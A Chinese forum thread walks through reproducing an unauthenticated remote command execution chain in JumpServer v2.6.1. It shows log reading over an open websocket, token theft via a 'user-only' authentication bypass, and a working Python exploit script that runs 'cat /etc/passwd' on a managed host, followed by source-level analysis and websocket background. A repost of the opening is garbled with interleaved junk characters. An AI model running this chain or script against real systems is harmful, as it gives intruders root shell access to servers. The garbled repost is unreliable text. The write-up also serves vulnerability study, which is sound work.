找回密码
 注册
查看: 445|回复: 1

jumpserver安装使用,远程应用工具

[复制链接]

1

主题

0

回帖

12

积分

管理员

积分
12
QQ
发表于 2023-3-7 15:00:04 | 显示全部楼层 |阅读模式
下载安装包
# git clone https://github.com/jumpserver/installer.git# cd installer?
国内docker源加速安装
# export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn# ./jmsctl.sh install
升级到指定版本
# ./jmsctl.sh upgrade v2.6.1
启动服务
#?./jmsctl.sh start#?./jmsctl.sh restart
环境配置
Jumpserver v2.6.1版本,访问服务正常,默认管理员账户admin/admin,初次登录须改密码。
1.添加管理用户。
资产管理里面的"管理用户"是jumpserver用来管理资产需要的服务账户,Jumpserver使用该用户来 '推送系统用户'、'获取资产硬件信息'等。
2.“资产列表”中添加资产
测试资产可连接性,保证资产存活
3.创建系统用户
系统用户是 Jumpserver 跳转登录资产时使用的用户,可以理解为登录资产的用户。
配置“登录方式”为自动登录
4.创建资产授权
5.使用“Web终端”连接资产
为保证漏洞复现顺利进行,需要在Web终端中连接某资产。
Web终端以root用户名登录机器。
若配置的登录模式为“手动登录”,所以需要输入密码进行连接。
"自动登录"则可调用系统预留密码直接连接。
0x02漏洞利用日志文件读取
系统中/ws/ops/tasks/log/接口无身份校验,可直接与其建立websocket连接,当为“task”参数赋值为具体文件路径时,可获取其文件内容。系统接收文件名后会自动添加.log后缀,所以只能读取.log类型的日志文件。
默认/opt/jumpserver/logs/ 下存放日志文件,包含jumpserver.log、gunicorn.log、dapgne.log等。
gunicorn是常用的WSGI容器之一,用来处理Web框架和Web服务器之间的通信,gunicorn.log是API调用历史记录比较全的日志文件。
利用/ws/ops/tasks/log/接口查看/opt/jumpserver/logs/gunicorn.log文件内容,由于系统会自动添加.log后缀,故无须添加文件后缀,目标路径为 "/opt/jumpserver/logs/gunicorn" 即可。
ws://192.168.18.182:8080/ws/ops/tasks/log/{"task":"/opt/jumpserver/logs/gunicorn"}
在日志中寻找有用数据,其中/api/v1/perms/asset-permissions/user/validate接口的请求记录值得注意,这个API是用来验证用户的资产控制权限的。由于web终端连接资产时会对用户所属资产权限进行校验,调用了这个接口,故会留下日志记录。其中asset_id、system_user_id、user_id参数值可以被利用。
asset_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0fsystem_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73user_id=f26371c9-18c3-4c4e-979f-95d34ffdb911认证绕过+获取token
/api/v1/authentication/connection-token/接口和/api/v1/users/connection-token/接口均可通过user-only参数绕过权限认证。
两接口对数据的处理逻辑一致,其中post请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,收到合法请求会将这个token返回。
上文从日志中获取到的三个参数值可以用在这里,分别赋值给post请求要求的data中的"user"、"asset"、"system_user"参数,同时在URL中添加user-only参数来绕过认证,最终获得一个20s有效期的token。
POST /api/v1/authentication/connection-token/?user-only=Veraxy HTTP/1.1Host: 192.168.18.182:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: csrftoken=GsRQYej2Fr3uk3xU9OPfZREl8Wn7xCXPqLSWQGIILIk7uz7izdqojUgYQ5UhG04j; jms_current_role=146; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7DUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 133user=f26371c9-18c3-4c4e-979f-95d34ffdb911&asset=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&system_user=a893cb8f-26f7-41a8-a983-1de24e7c3d73
上图请求接口替换成/api/v1/users/connection-token/达到的目的一样
远程命令执行
系统/koko/ws/token/接口要求"target_id"参数,携带合法"target_id"参数即可利用该接口建立TTY通信。
上文通过/api/v1/authentication/connection-token/接口获得的20s有效期的token可作为/koko/ws/token/接口的有效"target_id"参数值,从而建立websocket会话。
ws://192.168.18.182:8080/koko/ws/token/?target_id=0a14ec3d-312f-44e0-8224-da1a4151f32e
借助脚本进行websocket通信
import asyncioimport websocketsimport requestsimport jsonurl = "/api/v1/authentication/connection-token/?user-only=None"# 向服务器端发送认证后的消息async def send_msg(websocket,_text):    if _text == "exit":        print(f'you have enter "exit", goodbye')        await websocket.close(reason="user exit")        return False    await websocket.send(_text)    recv_text = await websocket.recv()    print(f"{recv_text}")# 客户端主逻辑async def main_logic(cmd):    print("###start ws")    async with websockets.connect(target) as websocket:        recv_text = await websocket.recv()        print(f"{recv_text}")        resws=json.loads(recv_text)        id = resws['id']        print("get ws id:"+id)        print("#######1########")        print("init ws")        print("#######2########")        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":234,\"rows\":13 }"})        await send_msg(websocket,inittext)        print("########3#######")        print("exec cmd: ls")        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})        print(cmdtext)        await send_msg(websocket, cmdtext)        for i in range(20):            recv_text = await websocket.recv()            print(f"{recv_text}")        print('###finish')if __name__ == '__main__':    host = "http://192.168.18.182:8080"    cmd="cat /etc/passwd"    if host[-1]=='/':        host=host[:-1]    print(host)    data = {"user": "f26371c9-18c3-4c4e-979f-95d34ffdb911", "asset": "fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f",            "system_user": "a893cb8f-26f7-41a8-a983-1de24e7c3d73"}    print("##################")    print("get token url:%s" % (host + url,))    print("##################")    res = requests.post(host + url, json=data)    token = res.json()["token"]    print("token:%s", (token,))    print("##################")    target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token    print("target ws:%s" % (target,))    asyncio.get_event_loop().run_until_complete(main_logic(cmd)
成功执行 "cat /etc/passwd" 命令
利用条件
1.web终端登录方式为免密自动连接。
若配置为需要输入密码的手动登录,只有在攻击者已知目标资产登录密码(不现实),或此时系统用户与目标资产的会话连接未中断,从而让攻击者有机会复用SSH会话,漏洞利用成功,显然这种配置下漏洞利用大多失败。
当系统用户退出登录,由于没有可复用会话了,系统要求重新输入密码,否则无法建立连接。漏洞利用失败。
只有在系统用户登录模式配置为“自动登录”,即系统用户使用web终端操作时资产无须输入密码
,可直接建立连接(某些情况下需要“自动推送”系统用户至资产才能实现免密连接),这种配置下,该漏洞才可被攻击者稳定利用。
开启自动登录和自动推送。
如果选择了自动推送, Jumpserver 会使用 Ansible 自动推送系统用户到资产中。
此时连接web终端不需要输入密码了,直接利用系统用户预存的密码建立连接。
这时我中断会话,再次测试,成功执行命令,此时不是复用SSH连接,而是直接连接,建立会话,从而执行命令。
jumpserver通常的配置都是自动登录的,这一条件容易满足。
2.系统用户在web终端与目标资产建立过连接。
只有系统用户在web终端访问过目标资产,才能在日志中留下访问记录,我们与目标建立连接的必要参数均在日志中获取。
3.系统日志路径已知
系统日志路径默认为/opt/jumpserver/logs,一些项目刻意修改日志路径会使得漏洞难以利用。
攻击流程回顾
1.未授权的情况下通过 /ws/ops/tasks/log/ 接口建立websocket连接,读取日志文件
2.在日志文件中获取到用户、资产字段值、系统用户(user_id、asset_id、system_user_id)
3.携带这三个字段对 /api/v1/authentication/connection-token/ 或/api/v1/users/connection-token/接口发起POST请求(同时借助user-only参数绕过认证),得到一个20S有效期的token
4.通过该token与/koko/ws/token/接口建立websocket连接,模拟Web终端通信,执行命令。
0x03漏洞分析日志文件读取
读取日志文件的接口为ws/ops/tasks/log/
分析apps/ops/ws.py#CeleryLogWebsocket,connect()方法定义该接口直接连接,无认证
receive()方法要求请求data要携带task参数,随后会将“task”值传给handle_task()
self.handle_task(task_id)
-->self.read_log_file(self,task_id)
-->self.wait_util_log_path_exist(task_id)
--> get_celery_task_log_path(task_id),获取目标文件路径的方法,系统自动为路径末尾添加.log后缀,也就是只能读取到日志文件。
这里也是“task”参数值中的文件路径无须携带.log后缀的原因。
当系统连接资产时,会调用 validatePermission() 方法检查用户是否有权限连接,通过三个参数进行校验,分别为用户ID、资产ID、系统用户ID,三个参数值长期有效,可被进一步利用。
对应的接口是/api/v1/perms/asset-permissions/user/validate,请求记录均可在日志文件中找到
绕过身份验证获取token
apps/authentication/api/auth.py,请求url中存在'user-only'参数且有值,则其权限为AllowAny,即允许访问。
分析apps/authentication/api/auth.py#UserConnectionTokenApi类,可处理get、post请求。
get请求处理函数取URL中"token"和"user-only"参数,合法请求会根据token返回user信息。
post请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,合法请求会将这个token返回。
apps/authentication/api/auth.py#UserConnectionTokenApi类有哪些地方使用,共两处
刚好是官方公布的接口,这两个接口数据处理逻辑一致,所以利用的时候两者均可得到token。
/api/v1/authentication/connection-token//api/v1/users/connection-token/
Web Terminal 前端项目 luna/src/app/services/http.ts 中有对/api/v1/users/connection-token/接口的Get请求代码,这里携带不为空的user-only参数,是为了获取token对应的用户身份所有信息而不是单个字段。 https://github.com/jumpserver/luna/blob/6e1f04901ecc466a9412ca995810595497e93625/src/app/services/http.ts
websocket建立TTY终端会话
这个漏洞是通过websocket通信建立TTY终端,从而执行命令。
JumpServer中KoKo项目提供 Web Terminal 服务,分析系统中可建立TTY会话的几种方式。
建立TTY会话主要通过koko/pkg/httpd/webserver.go中runTTY() 实现
只有两个接口可以进入runTTY()方法,分别是processTerminalWebsocket和processTokenWebsocket方法
对应API为/koko/ws/terminal/ 和 /koko/ws/token/ ,接口handler位于koko/pkg/httpd/webserver.go#websocketHandlers()
/koko/ws/terminal/
系统中通过“会话管理”下“web终端”功能连接资产时,使用的是 /koko/ws/terminal/ 接口
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
进行websocket通信
processTerminalWebsocket函数处理 /koko/ws/terminal/ 接口,要通过这个接口成功登录控制台需要一些必备参数,包括type、target_id、system_user_id,其中target_id为目标资产ID,system_user_id表示系统用户id。
注意:/koko/ws/terminal/ 接口的target_id与/koko/ws/token/ 接口的target_id虽然参数名一样,但却是两个完全不同的东西。
系统对 /koko/ws/terminal/ 接口通过?middleSessionAuth() 进行会话合法校验。
注意到 /koko/ws/token/ 接口却是无此类限制的。
/koko/ws/token/
/koko/ws/token/ 接口的处理函数位于koko/pkg/httpd/webserver.go#processTokenWebsocket,要求get请求携带“target_id”参数,系统会将该参数传递给 service.GetTokenAsset() 方法,获取token对应的user,从而建立TTY会话。
发现 GetTokenAsset() 是将“/api/v1/authentication/connection-token/?token=”与token值进行拼接,并发起Get请求,来获取用户身份的。
上文分析过 /api/v1/authentication/connection-token/ 接口,Get请求处理函数中定义,若仅携带有效token,则返回该用户所有信息,若同时携带token和不为None的user-only,则返回用户信息中的'user'字段值。
本次通信则是仅携带有效token,从而获取该用户所有身份信息。
综上,一个有效的“target_id”即可调用/koko/ws/token/ 接口进行websoket通信,从而建立TTY会话。
ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"CONNECT","data":""}{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"TERMINAL_INIT","data":"{\"cols\":140,\"rows\":6}"}
而这个有效的“target_id”则通过上一章节“身份验证绕过”中分析的 /api/v1/authentication/connection-token/ 或 /api/v1/users/connection-token/接口来获得,需要在20s有效期内将token替换为target_id参数值来使用。
补丁分析
漏洞整体分析下来,最关键的几个点,身份验证绕过以及websocket通信接口无校验,官方发布的新版本对其进行修复。
0x04关于websocket
WebSocket 协议诞生于 2008 年,在 2011 年成为国际标准,WebSocket 同样是 HTML 5 规范的组成部分之一。
HTTP 协议是半双工协议,也就是说在同一时间点只能处理一个方向的数据传输,通信只能由客户端发起,属于单向传输,一般通过 Cookie 使客户端保持某种状态,以便服务器可以识别客户端。
WebSocket的出现,使得浏览器和服务器之间可以建立无限制的全双工通信。WebSocket 协议是全双工的,客户端会先发起请求建立连接,若服务器接受了此请求,则将建立双向通信,然后服务器和客户端就可以进行信息交互了,直到客户端或服务器发送消息将其关闭为止。
WebSocket特点:
1.默认端口是80和443,并且握手阶段采用 HTTP 协议,因此握手时不容易屏蔽,能通过各种 HTTP 代理服务器。
2.可以发送文本,也可以发送二进制数据。
3.没有同源限制,客户端可以与任意服务器通信。
4.协议标识符是ws(如果加密,则为wss)
WebSocket通信
WebSocket并不是全新的协议,而是利用了HTTP协议来建立连接。
建立连接
客户端请求报文:
GET / HTTP/1.1Upgrade: websocketConnection: UpgradeHost: example.comOrigin: http://example.comSec-WebSocket-Key: sN9cRrP/n9NdMgdcy2VJFQ==Sec-WebSocket-Version: 13
Connection、Upgrade字段声明需要切换协议为websocket) t" [3 {0 m3 P
Sec-WebSocket-Key是由浏览器随机生成的,提供基本的防护,防止恶意或者无意的连接。
" R3 r  h* ^/ ]  i" P0 t+ ]Sec-WebSocket-Version表示 WebSocket 的版本,如果服务端不支持该版本,需要返回一个Sec-WebSocket-Versionheader,里面包含服务端支持的版本号。
服务端的响应报文:
HTTP/1.1 101 Switching ProtocolsUpgrade: websocketConnection: UpgradeSec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=Sec-WebSocket-Protocol: chat
Upgrade消息头通知客户端确认切换协议来完成这个请求;
Sec-WebSocket-Accept是经过服务器确认,并且加密过后的Sec-WebSocket-Key;
Sec-WebSocket-Protocol则是表示最终使用的协议。
注意:Sec-WebSocket-Key/Sec-WebSocket-Accept的换算,其实并没有实际性的安全保障。
进行通信
服务端接收到客户端发来的Websocket报文需要进行解析。
数据包格式
Mask位表示是否要对数据载荷进行掩码异或操作。
Payload length表示数据载荷的长度。
Masking-key数据掩码,为防止早期版本的协议中存在的代理缓存污染攻击等问题而存在。
Payload Data为载荷数据。
服务端返回数据时不携带掩码,所以 Mask 位为 0,再按载荷数据的大小写入长度,最后写入载荷数据。
心跳
WebSocket为了保持客户端、服务端的实时双向通信,需要确保客户端、服务端之间的TCP通道没有断开。对于长时间没有数据往来的通道,但仍需要保持连接,可采用心跳来实现。
发送方->接收方:ping
接收方->发送方:pong
ping、pong的操作,对应的是WebSocket的两个控制帧,opcode分别是0x9、0xA。
关闭连接
关闭连接标志着服务器和客户端之间的通信结束,标记通信结束后,服务器和客户端之间无法进一步传输消息。
Web Terminal实现
通常所说的Terminal是指的终端模拟器,一般情况下终端模拟器是不会直接与shell通讯的,而是通过pty(Pseudoterminal,伪终端)来实现,pty 是一对 master-slave 设备。
终端模拟器通过文件读写流与 pyt master通讯,pty master再将字符输入传送给pty slave,pty slave进一步传递给bash执行。
Web Terminal则是实现在浏览器展示的终端模拟器,前后端建立WebSocket连接,保证浏览器和后端实时通信。
实现思路:
1.浏览器将主机信息传给后台, 并通过HTTP请求与后台协商升级协议,协议升级完成后, 得到一个和浏览器的web Socket连接通道( P* t6 j/ `, |  \
2.后台拿到主机信息, 创建一个SSH 客户端, 与远程主机的SSH 服务端协商加密, 互相认证, 然后建立一个SSH Channel* S0 R1 l( j/ n1 ]+ Q0 \9 u- l
3.后台和远程主机有了通讯的信道,然后后台携带终端信息通过SSH Channel请求远程主机创建一对 pty, 并请求启动当前用户的默认 shell
& M4 C  y. ^& b% l4.后台通过 Socket连接通道拿到用户输入, 再通过SSH Channel将输入传给pty,pty将这些数据交给远程主机处理后,按照前面指定的终端标准输出到SSH Channel中, 同时键盘输入也会通过SSH Channel发送给远程服务端。  c8 R4 ^7 M' @) l
5.后台从SSH Channel中拿到按照终端大小的标准输出,通过Socket通信将输出返回给浏览器,由此实现了Web Terminal
JumpServer中websocket通信基于https://github.com/gorilla/websocket项目实现,Web Terminal功能实现思路与上文描述基本一致,这里简述浏览器与后端进行websocket通信流程。
携带多个参数对 /koko/ws/terminal/ 接口发起Get请求,初次握手,提出Upgrade为Websocket协议
GET ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73 HTTP/1.1Host: 192.168.18.182:8080Connection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Upgrade: websocketOrigin: http://192.168.18.182:8080Sec-WebSocket-Version: 13Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: csrftoken=0ZhWpozQIlm3fpJZRKP0vWcEm32JOlSSbtTBYmqlnHgrSwlMgXdJW0hnx4qJrT5s; sessionid=lbfnuoizl0mnixrwyo036ze65z7vfip0; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D; X-JMS-ORG=DEFAULT; jms_current_role=146Sec-WebSocket-Key: Cuf/c4n9TH20PU4HpCP4qQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsSec-WebSocket-Protocol: JMS-KOKO
服务端识别有效字段,回应握手请求,同意upgrade为websocket协议,允许后续进行socket通信。
HTTP/1.1 101 Switching ProtocolsServer: nginxDate: Mon, 01 Feb 2021 17:29:47 GMTConnection: upgradeUpgrade: websocketSec-WebSocket-Accept: zdg0gD/H5Ev4u9hn5oIxlSVdvDg=Sec-WebSocket-Protocol: JMS-KOKO
注意到使用web终端功能时,系统主要发起两个请求,分别是
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73http://192.168.18.182:8080/koko/ ... 8-a983-1de24e7c3d73
实际进行sokcet通信的是/koko/ws/terminal/接口,/koko/terminal/接口是协调处理sokcet通信输入输出的数据,将结果与前端融合并展示给用户,提供一个可视终端的效果。
Websocket认证
即使用户经过了系统的认证,当与WebSocket接口进行socket连接时,同样需要再次认证。
一般Websocket的身份认证都是发生在握手阶段,客户端向验证请求中的内容,只允许经过身份验证的用户建立成功的Websocket连接。
可以通过基于cookie的传统方式,或基于Token的方式进行认证。
传统的基于cookie的方式
采用这种方式,应用本身的认证和提供WebSocket的服务,可以是同一套session cookie的管理机制,也可以WebSocket服务接口自己来维护基于cookie的认证。
Jumpserver系统Web终端的功能,调用的/koko/ws/terminal/接口就是采用这种方式。
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
请求URL中携带的参数值 target_id、type、system_user_id 基本长期复用,接口主要依靠建立会话传送的Cookie来识别身份,这里的session cookie的管理机制与系统是共享的。
基于Token的方式
当客户端要与接口建立连接时,向http服务获取token,客户端作为初始握手的一部分携带有效token打开websocket连接,服务端验证token有效性合法性,认证通过则同意建立websocket会话连接。
漏洞执行命令利用的/koko/ws/token/接口采用的就是基于token方式进行认证
ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d
接口取target_id参数值,识别参数值有效性及对应用户身份,认证通过则同意建立websocket连接。
认证方式对比
传统基于cookie的方式,若websocket接口与系统协调同一种共享的认证方式,造成websocket服务与应用服务的耦合性大,依赖性强。若websocket服务自己维护基于cookie的认证,它只是一个解决通信连接的服务,为此付出成本不小。综上,还是采用基于token的认证方式更加高效。
采用基于token的认证方式则需要考虑提供token服务的API安全性,如本文分析的漏洞,提供token的/connection-token接口存在认证绕过问题,攻击者通过绕过/connection-token接口的身份验证,获取token,在有效时间内可与目标建立websocket连接。
0x05利用工具编写思路
1.读取日志
根据上文漏洞利用的流程,需要先通过未授权的/ws/ops/tasks/log/接口读取日志文件/opt/jumpserver/logs/gunicorn.log ,其中包含大量的接口请求记录,我们需要提取/api/v1/perms/asset-permissions/user/validate/ 接口信息。
2.筛选可用资产
日志文件中提取出的数据为历史连接记录,但不一定可以被利用,需要对其进行连接测试,筛选出可被利用的资产。
3.执行命令
在可用资产列表中选择目标进行攻击,执行指定命令。
总结
1.通过未授权的 /ws/ops/tasks/log/ 接口读取日志文件,我们仅筛选了部分接口信息,日志中包含大量数据,还有更多利用价值。
$ a2 y, K% P9 _0 l6 O) c* I* O2.官方给出的漏洞影响版本不准确,部分版本由于接口认证方式问题不可被利用。3 @0 D, z8 r  ]9 I& X! t
3.根据实际场景不同,漏洞利用工具还须继续改进,欢迎提出改进建议。

  C0 l: W) I6 z) U

1

主题

0

回帖

12

积分

管理员

积分
12
QQ
 楼主| 发表于 2023-3-7 15:00:05 | 显示全部楼层
下载安装包
2 M% A% x# L" @; A9 u! C
- {2 W; G+ l' l; n# git clone https://github.com/jumpserver/installer.git9 _+ I3 b' |; c7 D/ `
# cd installer?
8 G5 o* k0 L5 G" w国内docker源加速安装
$ s: F* ^7 d/ K: w7 ~, P
1 E1 [; a7 v" N# export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn
' J6 y4 ^% c4 _* N# ./jmsctl.sh install
# f- V3 V) E2 u5 V8 q# i升级到指定版本
- n- V% Q, @6 K
4 N4 e3 t! g; i6 K8 y  }7 j# ./jmsctl.sh upgrade v2.6.1
5 G2 y$ Q: Y0 x4 \  }启动服务
0 }. I0 O+ @7 [7 z2 B4 Z
! B3 [! ]5 P+ ^! {1 P" B, t1 c#?./jmsctl.sh start9 b3 y/ N# P4 y# i/ D
#?./jmsctl.sh restart7 V) M: e/ H. A5 e, y4 b
图片  R, K, m- ~6 o0 Q% e9 {4 V

. W% I% z& n6 |0 |; t3 x环境配置
% R2 @& P5 `9 N- g+ uJumpserver v2.6.1版本,访问服务正常,默认管理员账户admin/admin,初次登录须改密码。2 U) J+ [' _3 B/ ?& J2 B/ y
. A! x8 v5 S, H" n* |
图片
  v" P' G- [' G9 Y: T
& D  g( V: F/ w# Y. I: L) |1.添加管理用户。
1 @: H& t8 N" P2 f8 C! L8 g! r& c4 V* f+ X) {# g
资产管理里面的"管理用户"是jumpserver用来管理资产需要的服务账户,Jumpserver使用该用户来 '推送系统用户'、'获取资产硬件信息'等。! P+ N" w+ Z! Q2 G( J
* T2 ^3 M% w9 Y: u, Z' z/ k' p' G1 j
图片
  P" Z  B% ^+ o$ Q* u
  J! _2 S" H6 @% A2.“资产列表”中添加资产
( o  v5 g/ p7 a( T; V' _5 G
$ Z6 E7 d9 p+ V  V; u图片
0 F2 |! G# p8 D! m7 H9 H$ Z8 i2 M' i: I  e( C
测试资产可连接性,保证资产存活
, \9 p" F5 t- }5 \
/ N7 w5 }- [5 J1 s6 Z图片2 D- K4 q; H5 a8 ^/ |0 r

* q  Q8 C, n1 S" ]. ~图片
9 ^1 I9 d: w9 d- b- o6 E1 \( l. q
3.创建系统用户
  l0 \, w. w6 D, Q* k# m
# |  G0 c. ^8 a* ^  d; ~系统用户是 Jumpserver 跳转登录资产时使用的用户,可以理解为登录资产的用户。
5 d$ K/ l* I7 n8 V
; ^& \+ X: c+ n. p: G$ d' s+ @图片$ r8 ^- n+ I, ]  b7 ~4 k% \0 Z. ]

: Q# [2 V: D# }5 B+ w" V' K! z配置“登录方式”为自动登录+ x; E8 j. P+ G; T  R
6 L( ~( Q5 F6 H5 K, G1 _
图片, l; X3 _  o7 k! ]  y

. n8 \8 n; B# f6 s" i/ J4.创建资产授权
  P, S; L) F) G8 _- L( A' S+ N
图片  x1 B" c+ u2 X+ g$ y' a
& O1 g* x8 [- _( e* u
5.使用“Web终端”连接资产& g1 T0 h7 z8 b- |4 D. U

6 {; _" A' t0 i! \! _# x6 D为保证漏洞复现顺利进行,需要在Web终端中连接某资产。' E# m$ F% ?, F. J4 e" [/ X
& P# v* J. b+ U; }$ n4 D
图片+ U; c$ n" ^4 s
* h- x9 l4 Y( m. _$ T4 @
Web终端以root用户名登录机器。+ B0 B  R" m4 I+ Z& C' a: b

9 x9 h: H8 q/ Y9 n+ X8 R若配置的登录模式为“手动登录”,所以需要输入密码进行连接。
8 Y# k6 @0 ~+ s& D; q
( P6 T. Z, {! h+ _+ X图片, d; @! Y) i- h
) ]# h, _) x% ?) {
"自动登录"则可调用系统预留密码直接连接。
  r8 I2 q$ Y# t9 l1 @2 K% Y6 H; q7 C8 Q( b1 |
图片
0 A  E, r* p5 N" ~- A6 w& J! ?: [( n* I, L$ ~5 `$ U( \9 t
0x02漏洞利用
$ D- D, r' \; |- R; Q日志文件读取# o& O! [' c2 k# H- O( V
系统中/ws/ops/tasks/log/接口无身份校验,可直接与其建立websocket连接,当为“task”参数赋值为具体文件路径时,可获取其文件内容。系统接收文件名后会自动添加.log后缀,所以只能读取.log类型的日志文件。
0 y0 a; {+ [* I6 F' L: _9 H  l$ Q5 W2 O- o7 g' J8 v
默认/opt/jumpserver/logs/ 下存放日志文件,包含jumpserver.log、gunicorn.log、dapgne.log等。2 }! [; s$ y5 c3 a, F+ r8 Z
& M* u* G0 T9 Z1 E7 B
图片* L* a1 Q* U6 [

" ]" o; k) P+ ~) ggunicorn是常用的WSGI容器之一,用来处理Web框架和Web服务器之间的通信,gunicorn.log是API调用历史记录比较全的日志文件。" q; h: ]0 x* |
9 `( w0 j7 R0 y4 q$ {/ [: T
利用/ws/ops/tasks/log/接口查看/opt/jumpserver/logs/gunicorn.log文件内容,由于系统会自动添加.log后缀,故无须添加文件后缀,目标路径为 "/opt/jumpserver/logs/gunicorn" 即可。
/ S. J4 M+ n* W9 c" G, s6 n( M  |, L1 E8 h6 y+ ]
ws://192.168.18.182:8080/ws/ops/tasks/log/$ U* T7 V. V% R9 I" o) U
{"task":"/opt/jumpserver/logs/gunicorn"}
9 q9 {7 p; u* q- m8 m, @$ n图片
5 z3 I1 Q, D9 S3 j% G; U# A$ f9 |1 r; p4 v
在日志中寻找有用数据,其中/api/v1/perms/asset-permissions/user/validate接口的请求记录值得注意,这个API是用来验证用户的资产控制权限的。由于web终端连接资产时会对用户所属资产权限进行校验,调用了这个接口,故会留下日志记录。其中asset_id、system_user_id、user_id参数值可以被利用。& U0 c3 t3 g- ?8 {; Y
9 o: |) }: r" Q* `. ^
asset_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f
/ K2 g5 W0 U  J6 hsystem_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73( ~& q& Q% N/ K% e1 c  z% |' A
user_id=f26371c9-18c3-4c4e-979f-95d34ffdb9112 w( K+ B/ K& b  V1 V% V
认证绕过+获取token& w9 S3 w7 Z; l( F" ?& Q
/api/v1/authentication/connection-token/接口和/api/v1/users/connection-token/接口均可通过user-only参数绕过权限认证。! |; n6 C2 O* D+ W! Z, K8 U

3 [' W6 G& X0 I+ A两接口对数据的处理逻辑一致,其中post请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,收到合法请求会将这个token返回。  g1 s* t8 c. G9 J
. J: F5 r1 M2 N. @1 g; Q6 `
图片' J6 j- |$ [' m7 v9 y4 a
+ b# c0 g1 \7 z
上文从日志中获取到的三个参数值可以用在这里,分别赋值给post请求要求的data中的"user"、"asset"、"system_user"参数,同时在URL中添加user-only参数来绕过认证,最终获得一个20s有效期的token。, X7 D4 d" T: L8 `) _- C( ?
3 T, ?' A. w. m2 b6 D# k8 Y! @4 k
POST /api/v1/authentication/connection-token/?user-only=Veraxy HTTP/1.1! d- `) W( j- @
Host: 192.168.18.182:80807 o" Y* n: Q1 R% a* |
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0
' _( F1 p3 s! c$ \3 D9 v, T0 LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8+ P. z  n! ^7 M) Z8 l% D! A
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 ~  f3 t1 y& {$ ~; c6 \Accept-Encoding: gzip, deflate8 r& q. ~- Q4 J4 U9 t
Connection: close: k& \6 Y6 B  A
Cookie: csrftoken=GsRQYej2Fr3uk3xU9OPfZREl8Wn7xCXPqLSWQGIILIk7uz7izdqojUgYQ5UhG04j; jms_current_role=146; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D& H) D( }9 g0 I& l. k1 n
Upgrade-Insecure-Requests: 17 Q: I& y1 N& Y' C0 g5 ~
Content-Type: application/x-www-form-urlencoded
/ a( l4 q5 u" N# @+ f4 ^Content-Length: 133
) F9 j; j, q3 H) y: {4 r- Muser=f26371c9-18c3-4c4e-979f-95d34ffdb911&asset=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&system_user=a893cb8f-26f7-41a8-a983-1de24e7c3d731 k- F7 i, C2 M5 V9 c$ }1 D
图片
, i5 I0 t4 ]4 N" }" |+ ?6 r0 G/ [$ \
上图请求接口替换成/api/v1/users/connection-token/达到的目的一样
6 n% j; Y/ T( s
. d/ G5 Y, p! d  w6 p( w图片
4 B4 W6 O9 e# `+ k! P# S; C& f4 s; J9 X- |. B6 H0 ~0 U7 y! W0 M8 w7 F
远程命令执行& t4 L% a9 k. _5 u9 j4 A$ d
系统/koko/ws/token/接口要求"target_id"参数,携带合法"target_id"参数即可利用该接口建立TTY通信。
8 P) k2 R1 h+ n  W  K9 [
